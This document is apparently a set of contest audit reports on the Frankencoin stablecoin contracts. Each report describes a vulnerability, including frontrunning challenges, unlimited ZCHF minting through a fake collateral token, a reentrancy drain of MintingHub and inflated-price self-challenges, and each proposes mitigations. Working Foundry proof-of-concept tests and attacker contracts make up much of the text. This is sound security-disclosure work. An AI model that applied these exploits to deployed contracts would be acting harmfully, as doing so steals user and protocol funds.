Frankencoin - juancito's results

Lines of code

https://github.com/Frankencoin-ZCHF/FrankenCoin/blob/main/contracts/MintingHub.sol#L140-L148 https://github.com/Frankencoin-ZCHF/FrankenCoin/blob/main/contracts/Position.sol#L284-L286

Vulnerability details

Position owners can wait until their position is unsound and someone launches a challenge against it. Once there is a launch attempt, they can frontrun the transaction, withdraw their collateral, and lower the price to 0.

There is no safeguard against changing these parameters on the launch challenge function, so it will succeed. Once the block was mined with both transactions, the position owner can bid the challenge for zero tokens, avert it, and steal the collateral.

Impact

Position owners can steal challengers collateral. Cost of the attack is minimum.

Proof of Concept

There is no protection against a position owner changing prices in launchChallenge:

function launchChallenge(address _positionAddr, uint256 _collateralAmount) external validPos(_positionAddr) returns (uint256) {
    IPosition position = IPosition(_positionAddr);
    IERC20(position.collateral()).transferFrom(msg.sender, address(this), _collateralAmount);
    uint256 pos = challenges.length;
    challenges.push(Challenge(msg.sender, position, _collateralAmount, block.timestamp + position.challengePeriod(), address(0x0), 0));
    position.notifyChallengeStarted(_collateralAmount);
    emit ChallengeStarted(msg.sender, address(position), _collateralAmount, pos);
    return pos;
}

Link to code

Setting the price to zero after withdrawing all the collateral succeds because in checkCollateral the invariant results in 0 < 0, which does not revert.

function checkCollateral(uint256 collateralReserve, uint256 atPrice) internal view {
    if (collateralReserve * atPrice < minted * ONE_DEC18) revert InsufficientCollateral();
}

Link to code

POC Test

Add this test to test/GeneralTest.t.sol:

function testSandwichChallenge() public {
    // Alice is the attacker
    // Alice opens a sound position
    // Cost of opening a position is 1000 * 1e18 ZCHF (1000 swiss francs)
    // 1001 collateral tokens are provided as well
    Position position = Position(initPosition());
    assertEq(position.owner(), address(alice));
    assertEq(col.balanceOf(address(alice)), 0);
    assertEq(col.balanceOf(address(alice)), 0);

    // Wait until the cooldown is off
    skip(7 * 86_400 + 60);

    // Alice mints 77577.5 * 1e18 ZCHF tokens from the collateral in the position
    uint256 maxMintable = col.balanceOf(address(position)) * position.price() / 1e18;
    uint256 minted = maxMintable;
    uint256 aliceBalancePre = zchf.balanceOf(address(alice));
    alice.mint(address(position), minted); // 775775 * 1e17 => 77577.5 * 1e18 ZCHF tokens
    uint256 aliceBalancePost = zchf.balanceOf(address(alice));
    assertEq((aliceBalancePost - aliceBalancePre), 775775 * 1e17);

    // Simulate waiting until the price of the collateral changes making the position unsound
    skip(7 * 86_400 + 60);

    // Bob notices the position is unsound and tries to launch a challenge against it

    // Alice is reading the public mempool and notices Bob's intent to challenge the position
    // Alice frontruns Bob's transaction
    // ATTACK begins

    // Previous minting involved some fees
    // Send Alice some ZCHF tokens to be able to repay the position
    // Alice repays the position and withdraws all the collateral
    // Alice sets the price to 0 to perform the attack
    alice.obtainFrankencoins(swap, 3_000 ether);
    vm.startPrank(address(alice));
    position.repay(80_080 ether);
    position.withdrawCollateral(address(alice), 1001);
    position.adjustPrice(0);
    vm.stopPrank();

    // Bob's transaction was frontrunned
    // Bob's transaction executes right after Alice withdraws their funds and changes the price
    // Bob opens a challenge against the position with the same amount of collateral as the position originally had
    col.mint(address(bob), 1001);
    col.approve(address(hub), 1001);
    vm.startPrank(address(bob));
    uint256 challengeNumber = bob.challenge(hub, address(position), 1001);
    vm.stopPrank();

    // Wait a block confirmation that the attack was succesful
    skip(1);

    // The new bidAmount for the challenge is 0
    uint256 bidAmount = position.price() * 1001 / 1e18;
    assertEq(bidAmount, 0);

    // Alice immediately steals Bob's collateral for free by averting the challenge
    vm.startPrank(address(alice));
    hub.bid(challengeNumber, 0, 1001);
    vm.stopPrank();

    // Verify that Alice has her collateral + the stolen one
    assertEq(col.balanceOf(address(alice)), 1001 * 2);

    // The total cost of the attack was the one from opening the position which could be avoided by cloning one
    // Plus some extra ZCHF tokens to cover the fees in order to repay the position and get the collateral back
}

Tools Used

Manual review

Recommended Mitigation Steps

Implement a frontrunning protection on launchChallenge, like the one implemented on bid with expectedSize.

In this case, an _expectedPrice value can be added to protect against price changes:

-    function launchChallenge(address _positionAddr, uint256 _collateralAmount) external validPos(_positionAddr) returns (uint256) {
+    function launchChallenge(address _positionAddr, uint256 _collateralAmount, uint256 _expectedPrice) external validPos(_positionAddr) returns (uint256) {    
        IPosition position = IPosition(_positionAddr);
+       if (_expectedPrice != position.price()) revert UnexpectedPrice();
        IERC20(position.collateral()).transferFrom(msg.sender, address(this), _collateralAmount);
        uint256 pos = challenges.length;
        challenges.push(Challenge(msg.sender, position, _collateralAmount, block.timestamp + position.challengePeriod(), address(0x0), 0));
        position.notifyChallengeStarted(_collateralAmount);
        emit ChallengeStarted(msg.sender, address(position), _collateralAmount, pos);
        return pos;
    }

Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L140-L148

Vulnerability details

Challenge functions in the MintingHub do not perform any type of validation regarding when the positions start, or if they are in some cooldown state.

So, anyone can create a fresh position with arbitrary values, and just right after that perform an exploit using the challenge functions.

Impact

Infinite minting of the ZCHF token.

This allows for example claiming ZCHF for XCHF tokens via the StablecoinBridge. Any XCHF tokens on the bridge are at risk.

Other exploits with critical impact could also be performed tweaking this exploit by changing other position values.

Proof of Concept

The vulnerability lies on the fact that a challenge can be created for a fresh created position. There is no restriction for cooldown, start time, or any other check.

There is no restriction for the collateral passed to the MintingHub::openPosition either. So it is possible to create a fake one and use it. This would be caught by minters or voters on normal situations, but this attack can be performed in one transaction.

    function openPosition(
        address _collateralAddress, uint256 _minCollateral, uint256 _initialCollateral,
        uint256 _mintingMaximum, uint256 _initPeriodSeconds, uint256 _expirationSeconds, uint256 _challengeSeconds,
        uint32 _mintingFeePPM, uint256 _liqPrice, uint32 _reservePPM) public returns (address) {
        IPosition pos = IPosition(
            POSITION_FACTORY.createNewPosition(
                msg.sender,
                address(zchf),
                _collateralAddress,
                _minCollateral,
                _mintingMaximum,
                _initPeriodSeconds,
                _expirationSeconds,
                _challengeSeconds,
                _mintingFeePPM,
                _liqPrice,
                _reservePPM
            )
        );
        zchf.registerPosition(address(pos));
        zchf.transferFrom(msg.sender, address(zchf.reserve()), OPENING_FEE);
        require(_initialCollateral >= _minCollateral, "must start with min col");
        IERC20(_collateralAddress).transferFrom(msg.sender, address(pos), _initialCollateral);

        return address(pos);
    }

Link to code

No check for positions in cooldown or start time in MintingHub::launchChallenge(). So it is possible to launch a challenge even on the same block as the position was created:

    function launchChallenge(address _positionAddr, uint256 _collateralAmount) external validPos(_positionAddr) returns (uint256) {
        IPosition position = IPosition(_positionAddr);
        IERC20(position.collateral()).transferFrom(msg.sender, address(this), _collateralAmount);
        uint256 pos = challenges.length;
        challenges.push(Challenge(msg.sender, position, _collateralAmount, block.timestamp + position.challengePeriod(), address(0x0), 0));
        position.notifyChallengeStarted(_collateralAmount);
        emit ChallengeStarted(msg.sender, address(position), _collateralAmount, pos);
        return pos;
    }

Link to code

The MintingHub::end() function doesn't have any check either. So it is even possible to end the challenge on the same block, if the challenge was set to have 0 as its challenge expiration value. This is possible because any value can be set on this position, as no one would be able to deny it (as the exploit is performed on the same transaction).

    function end(uint256 _challengeNumber, bool postponeCollateralReturn) public {
        Challenge storage challenge = challenges[_challengeNumber];
        require(challenge.challenger != address(0x0));
        require(block.timestamp >= challenge.end, "period has not ended");
        // challenge must have been successful, because otherwise it would have immediately ended on placing the winning bid
        returnCollateral(challenge, postponeCollateralReturn);
        // notify the position that will send the collateral to the bidder. If there is no bid, send the collateral to msg.sender
        address recipient = challenge.bidder == address(0x0) ? msg.sender : challenge.bidder;
        (address owner, uint256 effectiveBid, uint256 volume, uint256 repayment, uint32 reservePPM) = challenge.position.notifyChallengeSucceeded(recipient, challenge.bid, challenge.size);
        if (effectiveBid < challenge.bid) {
            // overbid, return excess amount
            IERC20(zchf).transfer(challenge.bidder, challenge.bid - effectiveBid);
        }
        uint256 reward = (volume * CHALLENGER_REWARD) / 1000_000;
        uint256 fundsNeeded = reward + repayment;
        if (effectiveBid > fundsNeeded){
            zchf.transfer(owner, effectiveBid - fundsNeeded);
        } else if (effectiveBid < fundsNeeded){
            zchf.notifyLoss(fundsNeeded - effectiveBid); // ensure we have enough to pay everything
        }
        zchf.transfer(challenge.challenger, reward); // pay out the challenger reward
        zchf.burn(repayment, reservePPM); // Repay the challenged part
        emit ChallengeSucceeded(address(challenge.position), challenge.bid, _challengeNumber);
        delete challenges[_challengeNumber];
    }

Link to code

Given that the collateral token passed is created by the attacker, it can spoof the responses to functions like collateral.balanceOf(), collateral.transfer(), or collateral.transferFrom() in order to manipulate the values needed.

This way it can manipulate the values returned by Position::notifyChallengeSucceeded():

    (address owner, uint256 effectiveBid, uint256 volume, uint256 repayment, uint32 reservePPM) = challenge.position.notifyChallengeSucceeded(recipient, challenge.bid, challenge.size);

Link to code

Making it viable to call Frankencoin::notifyLoss():

    zchf.notifyLoss(fundsNeeded - effectiveBid); // ensure we have enough to pay everything

Link to code

Frankencoin::notifyLoss() takes ZCHF tokens from the reserve, or mints them if there are not enough:

   function notifyLoss(uint256 _amount) override external minterOnly {
      uint256 reserveLeft = balanceOf(address(reserve));
      if (reserveLeft >= _amount){
         _transfer(address(reserve), msg.sender, _amount);
      } else {
         _transfer(address(reserve), msg.sender, reserveLeft);
         _mint(msg.sender, _amount - reserveLeft);
      }
   }

Link to code

Once the tokens are transfered to the MintingHub, they are finally transfered to the attacker:

    zchf.transfer(challenge.challenger, reward); // pay out the challenger reward

Link to code

Test POC - Attack vector 1

This tests proves how to mint ZCHF tokens by creating a position with a fake collateral token.

Steps:

• Create a position with the fake collateral token • Create a challenge via MintingHub::launchChallenge • Call MintingHub::end. Internally it will mint tokens via zchf.notifyLoss • This will mint new tokens to the attacker

Add this contract to the end of the test/GeneralTest.t.sol file:

contract FakeTokenEnd {
    MintingHub immutable public hub;

    constructor(address _hub) {
        hub = MintingHub(_hub);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        return true;
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        return true;
    }
    
    function balanceOf(address account) public view returns (uint256) {
        return 1e36 ether;
    }
}

Add this test inside the GeneralTest in test/GeneralTest.t.sol:

function testEndPOC() public {
    // Create a "minter" to distribute zchf tokens and set up the environment
    User minter = new User(zchf);

    // Obtain zchf tokens
    minter.obtainFrankencoins(swap, 1_000 ether);

    // Set up an attacker and send 1_000 zchf to open a position and perform the attack
    address attacker = vm.addr(666);
    uint256 attackerZCHF = 1_000 ether;
    minter.transfer(zchf, attacker, attackerZCHF);
    assertEq(zchf.balanceOf(attacker), 1_000 ether);

    // Perform the attack
    vm.startPrank(attacker);
    // Create a fake collateral contract and send it zchf to perform the attack
    FakeTokenEnd fakeToken = new FakeTokenEnd(address(hub));
    address pos = hub.openPosition(address(fakeToken), 0, 0, 2 ** 255, 3 days, 0, 0, 0, 1 ether, 0);
    uint256 challengeNumber = hub.launchChallenge(pos, 1_000_000_000 ether);
    hub.end(challengeNumber, true);
    vm.stopPrank();

    // Verify that the attacker minted 20_000_000 zchf tokens
    assertEq(zchf.balanceOf(attacker), 20_000_000 ether);
}

Run the test: forge test -m "testEndPOC"

Test POC - Attack vector 2

It is also possible to exploit the lack of validation of the challenges via the MintingHub::bid function.

In this case the assets at risk are all ZCHF in the MintingHub contract. Every time a bid is created, those tokens are sent to the contract. So an attacker can steal them.

This attack is more sophisticated and involves a re-entrancy in the bid function if a fake collateral token is used:

// bid() function
challenge.position.collateral().transfer(msg.sender, challenge.size); // @audit re-entrant for a fake collateral token

Link to code

Steps:

• Create a position with the fake collateral token • Create a challenge via MintingHub::launchChallenge • Call MintingHub::bid with a small bid. This is the amount that will be stolen each time the function is re-entered • Call MintingHub::bid with a bid big enough to avert the challenge • First thing the bid function does is pay back the previous bid • The function will re-enter on the line pointed out earlier • It will pay back the previous bid again (because the challenge was not deleted) • Repeat enough times as long as the gas allows it • All re-entered function will exit by calling delete challenges[_challengeNumber]; which succeeds • The attacker is able to steal the tokens from the MintingHub

Add this contract to the end of the test/GeneralTest.t.sol file:

contract FakeToken {
    MintingHub immutable public hub;
    Position public pos;

    uint256 public challengeNumber;
    uint256 public challengeSize;
    uint256 public positionSize;

    uint256 public counter;

    constructor(address _hub) {
        hub = MintingHub(_hub);
    }

    function attack(uint256 _positionSize) external {
        positionSize = _positionSize;
        challengeSize = positionSize * 99 / 100; // Has to be slightly less than positionSize
        uint256 liqPrice = positionSize * 1e18 / challengeSize;

        // Open a position with this contract as a fake collateral token
        pos = Position(
            hub.openPosition(address(this), 0, 0, 2 ** 255, 3 days, 0, 1, 0, liqPrice, 0)
        );

        // Launch a challenge that will be used to perform the exploit
        // There is no limitation to call `launchChallenge` despite the position being in cooldown period
        challengeNumber = hub.launchChallenge(address(pos), challengeSize);

        // The first bid sets a `challenge.bid = challengeSize`
        // `challengeSize` is the amount that will be stolen with each re-entrant call
        hub.bid(challengeNumber, challengeSize, challengeSize);

        // The second bid will call `transfer` and re-enter this contract
        hub.bid(challengeNumber, positionSize, challengeSize);

        // Withdraw stolen funds
        pos.zchf().transfer(msg.sender, pos.zchf().balanceOf(address(this)));
    }

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        return true;
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        bool allStolen = pos.zchf().balanceOf(address(hub)) < challengeSize;
        if (allStolen || counter++ > 50) {
            return true;
        }

        // Launch fake challenges to increase `pos.challengedAmount`
        // This will prevent an underflow in `tryAvertChallenge()`
        hub.launchChallenge(address(pos), challengeSize);

        // Re-entrancy
        // Each time it runs, it steals zchf tokens from the Minting Hub
        hub.bid(challengeNumber, positionSize, challengeSize);
        return true;
    }
}

Add this test inside the GeneralTest in test/GeneralTest.t.sol:

function testPOC() public {
    // Create a "minter" to distribute zchf tokens and set up the environment
    User minter = new User(zchf);

    // Obtain zchf tokens
    minter.obtainFrankencoins(swap, 1_000_000 ether);

    // Send zchf tokens to the Minting Hub
    // zchf tokens are stored in the Minting Hub when users bid on challenges
    // These tokens will be stolen
    minter.transfer(zchf, address(hub), 100_000 ether);
    assertEq(zchf.balanceOf(address(hub)), 100_000 ether);

    // Set up an attacker and send some zchf to perform the attack
    // 1000 zchf are needed to open a position
    // 4000 zchf will be used to perform the attack
    address attacker = vm.addr(666);
    uint256 attackerZCHF = 5_000 ether;
    minter.transfer(zchf, attacker, attackerZCHF);
    assertEq(zchf.balanceOf(attacker), 5_000 ether);

    // Perform the attack
    vm.startPrank(attacker);
    // Create a fake collateral contract and send it zchf to perform the attack
    FakeToken fakeToken = new FakeToken(address(hub));
    zchf.transfer(address(fakeToken), attackerZCHF);
    // Perform the attack. 1000 zchf are used for opening a position
    uint256 positionSize = attackerZCHF - 1000 ether;
    fakeToken.attack(positionSize);
    vm.stopPrank();

    // Verify the attacker stole the zchf tokens
    assertGt(zchf.balanceOf(attacker), 100_000 ether);

    // Verify the tokens were stolen from the Minting Hub
    assertLe(zchf.balanceOf(address(hub)), 1_000 ether);
}

Run the test: forge test -m "testPOC"

Test POC - Attack vector 3

A spin-off of the Attack vector 1, can be to even let voters deny the position. That only sets cooldown = expiration, and as proved previously, there is no check that the position is not a some cooldown state.

    function deny(address[] calldata helpers, string calldata message) public {
        if (block.timestamp >= start) revert TooLate();
        IReserve(zchf.reserve()).checkQualified(msg.sender, helpers);
        cooldown = expiration; // since expiration is immutable, we put it under cooldown until the end
        emit PositionDenied(msg.sender, message);
    }

Link to code

Recommended Mitigation Steps

It is worth mentioning that the vulnerability here relies on the fact that challenges can be executed for positions that have not been "validated" by minters or voters, meaning they didn't have any opportunity to deny them.

The best place to implement a guard would be in the MintingHub::launchChallenge. If no challenge is created, nor bid, nor end would be able to be executed.

One possible solution could be to add a modifier to the MintingHub::launchChallenge function to check that the position has started. This will mean that it has passed its initial period where minters or stakers can deny it.

It should also check that the position was not denied. A denied value should be added to Position.

Using the cooldown, or expired may be conflictive and can lead to errors. Those values are quite overloaded, and would make it difficult to create a solution that solves this exploit while preserving normal functionality of the challenge functions for legit positions.

    // MintingHub.sol

+    modifier posStarted(address position) {
+        require(block.timestamp >= Position(position).start(), "pos not started");
+        require(Position(position).denied() == false, "pos is denied");
+        _;
+    }

-   function launchChallenge(address _positionAddr, uint256 _collateralAmount) external validPos(_positionAddr) returns (uint256) {
+   function launchChallenge(address _positionAddr, uint256 _collateralAmount) external validPos(_positionAddr) posStarted(_positionAddr) returns (uint256) {

There are some tradeoffs of making this change:

As challenge functions won't be able to be executed for denied positions, some other mechanism should be implemented to seize the collateral from them.

As challenge functions won't be able to be executed during the initial period, this leaves the responsibility for denying undercollateralized positions before the start to minters and voters. If not, those positions would be able to mint undercollateralized tokens as soon as they reach the start of the position.

In case that's an issue, another suggestion would be to separate the initial cooldown in two phases. One for the minters and voters to be able to deny suspicious positions, and a cooldown for protocol users to be able to challenge undercollateralized positions.

Lines of code

https://github.com/Frankencoin-ZCHF/FrankenCoin/blob/main/contracts/Position.sol#L161-L169 https://github.com/Frankencoin-ZCHF/FrankenCoin/blob/main/contracts/MintingHub.sol#L140-L148 https://github.com/Frankencoin-ZCHF/FrankenCoin/blob/main/contracts/Position.sol#L306-L319 https://github.com/Frankencoin-ZCHF/FrankenCoin/blob/main/contracts/Position.sol#L331-L355

Vulnerability details

Position owners can perform an attack where they challenge their own positions.

Position.adjustPrice allows to set the price of the position to incredibly high values. The position owner can later create a challenge that cannot be averted just by providing the same collateral amount of the position.

The bidding value for averting the position will be extremely high, making it impossible to avert the position.

Once the end function is called it will take all the funds it needs to pay for the challenge. The payment will be inflated because it relies on the inflated price of the position.

Impact

Challenges can be created that cannot be averted. The protocol will have to pay them with the reserves. And if no reserves are sufficient it would lead to unrestricted minting of ZCHF tokens.

Proof of Concept

adjustPrice only restricts minting when setting a bigger price:

function adjustPrice(uint256 newPrice) public onlyOwner noChallenge {
    if (newPrice > price) {
        restrictMinting(3 days);
    } else {
        checkCollateral(collateralBalance(), newPrice);
    }
    price = newPrice;
    emitUpdate();
}

Link to code

The position owner can launch a new challenge against their position. In only cost the same amount of collateral as provided in the position:

    function launchChallenge(address _positionAddr, uint256 _collateralAmount) external validPos(_positionAddr) returns (uint256) {
        IPosition position = IPosition(_positionAddr);
        IERC20(position.collateral()).transferFrom(msg.sender, address(this), _collateralAmount);
        uint256 pos = challenges.length;
        challenges.push(Challenge(msg.sender, position, _collateralAmount, block.timestamp + position.challengePeriod(), address(0x0), 0));
        position.notifyChallengeStarted(_collateralAmount);
        emit ChallengeStarted(msg.sender, address(position), _collateralAmount, pos);
        return pos;
    }

Link to code

In order for someone to avert the challenge, the tryAvertChallenge function has to succeed when calling bid, but it's not possible. The _bidAmountZCHF would have to be extremely high:

function tryAvertChallenge(uint256 _collateralAmount, uint256 _bidAmountZCHF) external onlyHub returns (bool) {
    if (block.timestamp >= expiration){
        return false; // position expired, let every challenge succeed
    } else if (_bidAmountZCHF * ONE_DEC18 >= price * _collateralAmount){ // @audit
        // challenge averted, bid is high enough
        challengedAmount -= _collateralAmount;
        // Don't allow minter to close the position immediately so challenge can be repeated before
        // the owner has a chance to mint more on an undercollateralized position
        restrictMinting(1 days);
        return true;
    } else {
        return false;
    }
}

Link to code

Finally, the end function is called and the protocol will have to pay for the challenge. Any other lower bids don't affect the exploit, as the amount to be payed will be huge. It's calculated in notifyChallengeSucceeded. volumeZCHF is responsible for it:

function notifyChallengeSucceeded(address _bidder, uint256 _bid, uint256 _size) external onlyHub returns (address, uint256, uint256, uint256, uint32) {
    challengedAmount -= _size;
    uint256 colBal = collateralBalance();
    if (_size > colBal){
        // Challenge is larger than the position. This can for example happen if there are multiple concurrent
        // challenges that exceed the collateral balance in size. In this case, we need to redimension the bid and
        // tell the caller that a part of the bid needs to be returned to the bidder.
        _bid = _divD18(_mulD18(_bid, colBal), _size);
        _size = colBal;
    }

    // Note that thanks to the collateral invariant, we know that
    //    colBal * price >= minted * ONE_DEC18
    // and that therefore
    //    price >= minted / colbal * E18
    // such that
    //    volumeZCHF = price * size / E18 >= minted * size / colbal
    // So the owner cannot maliciously decrease the price to make volume fall below the proportionate repayment.
    uint256 volumeZCHF = _mulD18(price, _size); // How much could have minted with the challenged amount of the collateral // @audit
    // The owner does not have to repay (and burn) more than the owner actually minted.  
    uint256 repayment = minted < volumeZCHF ? minted : volumeZCHF; // how much must be burned to make things even

    notifyRepaidInternal(repayment); // we assume the caller takes care of the actual repayment
    internalWithdrawCollateral(_bidder, _size); // transfer collateral to the bidder and emit update
    return (owner, _bid, volumeZCHF, repayment, reserveContribution);
}

Link to code

Also worth mentioning that splitting the challenge would not help, as the new challenges respect the same proportion between size and bid. So, bidders would still have to pay much more to bid higher than the attacker

POC Test

Add this test to test/GeneralTest.t.sol and run forge test -m "testAdjustPriceExploit"

function testAdjustPriceExploit() public {
    // Alice is the attacker
    // Alice opens a sound position
    // Cost of opening a position is 1000 * 1e18 ZCHF (1000 swiss francs)
    // 1001 collateral tokens are provided as well
    Position position = Position(initPosition());

    // Mint and send some tokens to Alice to later create a challenge
    col.mint(address(alice), 1001);

    // Calculate the mintable ZCHF tokens provided the collateral for this position
    // In reality it's a little less because of protocol / reserve fees but it doesn't affect the outcome
    // The formula for `mintableTokens` is taken from the code
    // In places like checkCollateral: `collateralReserve * atPrice < minted * ONE_DEC18`
    // Or places like initializeClone: `price = _mint * ONE_DEC18 / _coll;`
    uint256 mintableTokens = position.price() * 1001 / 1e18;
    assertEq(mintableTokens, 100_100 ether);

    // Wait until the cooldown is off
    skip(7 * 86_400 + 60);

    // Perform the attack
    // Alice elevates the price of the position astronomically
    // On the same transaction she creates a challenge for the position providing 1001 collateral tokens
    vm.startPrank(address(alice));
    position.adjustPrice(position.price() * 1 ether);
    uint256 challengeNumber = alice.challenge(hub, address(position), 1001);
    vm.stopPrank();
    
    // The new bidAmount to avert the challenge is huge
    // The attack is unstoppable at this point
    uint256 bidAmount = position.price() * 1001 / 1e18;
    assertEq(bidAmount, 1001 * 1e38);

    // We can even try bidding the challenge with a big bidAmount to check that it cannot be averted
    // It's 5 times bigger than the original `mintableTokens` calculation
    bob.obtainFrankencoins(swap, 500_000 ether);
    vm.startPrank(address(bob));
    hub.bid(challengeNumber, 500_000 ether, 1001);
    vm.stopPrank();

    // Wait until the challenge ends
    skip(1 days);

    // End the challenge and the attack
    vm.startPrank(address(alice));
    hub.end(challengeNumber, false);
    vm.stopPrank();

    // Alice got back half of the total collateral tokens she used for the attack
    assertEq(col.balanceOf(address(alice)), 1001);

    // But she minted a huge amount of ZCHF tokens
    assertEq(zchf.balanceOf(address(alice)), 2002 * 1e36);
}

Tools Used

Manual review

Recommended Mitigation Steps

The key points about this issue are being able to launch a challenge right after increasing the price, being unable to avert the challenge, and the unrestricted funds that the protocol takes care for.

Some suggestions to mitigate this exploit could be setting limits to price adjustment, implement timelocks to prevent instant challenges after price adjustments, add some other option or condition to avert challenges, put some limits to the funds covered by the protocol.

position.adjustPrice(position.price() * 1 ether);

hub.bid(challengeNumber, 500_000 ether, 1001);

Lines of code

https://github.com/Frankencoin-ZCHF/FrankenCoin/blob/main/contracts/MintingHub.sol#L88-L113

Vulnerability details

Suspicious positions may be denied by voters if they don't seem legit, but over time it is very possible that one of them lands in the protocol, which can involve serious risks.

Some attributes may not seem harmful with certain values at first sight, and can lead to permanent damage to the protocol if a position becomes active.

Impact

Malicious positions can lead to damage at protocol level, including stealing assets from the reserve, or unrestricted minting of tokens for example.

I will provide two attack vectors to illustrate this. Buy many other can be performed with different Position attributes.

Proof of concept - Attack vector 1

Take for example challengePeriod = 0.

There is no restriction for creating positions with challengePeriod = 0.

Positions with challengePeriod = 0 can launch a challenge and end it immediately on the same transaction.

Position owners can launch challenges against their own positions, and as there will be no bid period, the protocol will have to pay for the unaverted challenge. It can be done even on the same transaction as launching the challenge.

This leads to stealing reserves from the protocol, or unrestricting minting of ZCHF tokens when reserves are gone.

Add this test to test/GeneralTest.t.sol prove how tokens can be minted without restriction. Values can be tweaked to mint bigger amounts:

function testZeroChallengePeriod() public {
    // Obtain some tokens to be able to open a position
    alice.obtainFrankencoins(swap, 1000 ether);
    col.mint(address(alice), 100);

    // Open the position with a challenge period of 0
    vm.startPrank(address(alice));
    uint256 challengePeriod = 0;
    col.approve(address(hub), 100);
    address posAddr = hub.openPosition(address(col), 0, 100, 2 ** 255, 3 days, 1, challengePeriod, 0, 10 ether, 0);
    vm.stopPrank();

    // Alice balance is 0
    assertEq(zchf.balanceOf(address(alice)), 0);
    assertEq(col.balanceOf(address(alice)), 0);

    // Wait until the cooldown is off
    skip(3 days + 1);
    
    // Perform the attack
    // Alice launches a challenge with 100 collateral tokens
    col.mint(address(alice), 100);
    vm.startPrank(address(alice));
    col.approve(address(hub), 100);
    Position(posAddr).adjustPrice(Position(posAddr).price() * 100);
    uint256 challengeNumber = hub.launchChallenge(posAddr, 100);
    hub.end(challengeNumber);
    vm.stopPrank();

    // Alice gets her collateral back
    assertEq(col.balanceOf(address(alice)), 200);
    
    // Alice prints ZCHF token out of thin air
    assertEq(zchf.balanceOf(address(alice)), 2000);
}

Positions have many values, and few of them are properly validated:

function openPosition(
    address _collateralAddress, uint256 _minCollateral, uint256 _initialCollateral,
    uint256 _mintingMaximum, uint256 _initPeriodSeconds, uint256 _expirationSeconds, uint256 _challengeSeconds,
    uint32 _mintingFeePPM, uint256 _liqPrice, uint32 _reservePPM) public returns (address) {
    IPosition pos = IPosition(
        POSITION_FACTORY.createNewPosition(
            msg.sender,
            address(zchf),
            _collateralAddress,
            _minCollateral,
            _initialCollateral,
            _mintingMaximum,
            _initPeriodSeconds,
            _expirationSeconds,
            _challengeSeconds,
            _mintingFeePPM,
            _liqPrice,
            _reservePPM
        )
    );
    zchf.registerPosition(address(pos));
    zchf.transferFrom(msg.sender, address(zchf.reserve()), OPENING_FEE);
    IERC20(_collateralAddress).transferFrom(msg.sender, address(pos), _initialCollateral);

    return address(pos);
}

Link to code

Proof of Concept - Attack Vector 2

Another attack vector could be that positions with low minimumCollateral can suffer from frontrunning attacks on challenges

The protocol allows creating positions with a low or zero value for minimumCollateral. It should not present any risk to the protocol in theory. Miners or voters would not have any valid reason to deny them if the rest of the attributes seem legit.

A minimumCollateral of zero would only be considered to damage the position owner, as their positions would be easily challenged by anyone. So it's a risk that only them would assume.

It is very possible that such a position would succeed in passing the initial phase.

Summary

MintingHub::splitChallenge() can be called indefinitely if minimumCollateral = 0, creating a new challenge that will hold the whole size, but with a different challengeNumber. The attack is also viable if minimumCollateral has a small size that allows repeated attacks.

That allows anyone to frontrun any of the challenge functions of the MintingHub by calling splitChallenge, generating a new challengeNumber, and making the victim transaction fail because they use the original challenge number. This can lead to different attacks with high impact.

Impact

bid can be frontrunned by splitChallenge to prevent anyone from bidding on a specific challenge indefinitely, until the end time is reached. This can lead to loss of funds by the protocol, as it will have to pay for the unaverted challenge.

splitChallenge can be frontrunned by another splitChallenge to run an attack documented on the function: "an attack, where a challenger launches a challenge so big that most bidders do not have the liquidity available to bid a sufficient amount". This can lead to less bids due to lack of liquidity, with the previous consequence mentioned in bid.

end can be frontrunned by splitChallenge to postpone the end of the challenge indefinitely.

This can lead to lose of assets from position owners, bidders, or challengers, by creating unfair challenges where other users are not able to participate.

Code Explanation

MintingHub::splitChallenge() allows "transfering" the whole size and bid to a new challenge if minimumCollateral = 0:

    challenge.bid -= copy.bid;
    challenge.size -= copy.size;

    uint256 min = IPosition(challenge.position).minimumCollateral();
    require(challenge.size >= min);
    require(copy.size >= min);

Link to code

This allows the attacker to frontrun legit users trying to call the challenge functions. Subsequent transactions will attempt to call the functions with an "old" challenge number that will hold no size nor bid.

The challenge is splitted, with the former having size = 0 and the newest with the whole original size.

Test

Add this test to test/GeneralTest.t.sol:

function testFrontrunSplitChallenge() public {
    // Create a "minter" to distribute zchf tokens and set up the environment
    User minter = new User(zchf);
    minter.obtainFrankencoins(swap, 1_000_000 ether);
    minter.transfer(zchf, address(this), 1000 ether);
    minter.transfer(zchf, address(alice), 1000 ether);

    // Open the position
    col.mint(address(this), 100);
    col.approve(address(hub), 100);
    address posAddr = hub.openPosition(address(col), 0, 100, 2 ** 255, 3 days, 0, 1, 0, 1 ether, 0);

    // Wait until the cooldown is off
    skip(7 * 86_400 + 60);

    // Bob opens a challenge
    col.mint(address(bob), 1300);
    uint256 challengeSize = 300;
    uint256 challengeNumber = bob.challenge(hub, posAddr, challengeSize);

    // Bob frontruns other transactions
    // Bob is able to split the challenge with the same challengeSize before other users call it
    vm.prank(address(bob));
    uint256 secondChallengeNumber = hub.splitChallenge(challengeNumber, challengeSize);

    // Alice is not able to split the challenge with a lower size because of the frontrunning
    vm.expectRevert(); // Unexpected error because of a division by zero
    vm.prank(address(alice));
    hub.splitChallenge(challengeNumber, challengeSize / 2);

    // Alice is not able to bid on the challenge
    vm.prank(address(alice));
    vm.expectRevert(0x8d343e37); // "Unexpected size" error
    hub.bid(challengeNumber, 1, 300);

    // Skip 1 block to be able to end the challenge
    skip(7 * 86_400 + 60 + 1);

    // Bob frontruns the end transaction
    // Bob is able to split the challenge with the same challengeSize before other users call it
    vm.prank(address(bob));
    uint256 latestChallenge = hub.splitChallenge(secondChallengeNumber, challengeSize);

    // Alice will end the second challenge, that now has size = 0
    // That leaves the latestChallenge not ended, which holds the full original size
    vm.prank(address(alice));
    hub.end(secondChallengeNumber);
}

Recommended Mitigation Steps

Enforce a minimum challengePeriod when creating a new position of at least some considerable amount of time.

Enforce a minimum value for minimumCollateral when creating a new position, based on a percentage of the initial collateral and an absolute number > 0.

Enforce minimum and maximum values for every other position attributes.

Consider creating a whitelist for collateral tokens.

Judge has assessed an item in Issue #597 as 2 risk. The relevant finding follows:

L4

Judge has assessed an item in Issue #597 as 2 risk. The relevant finding follows:

L9

QA Report

Low Issues

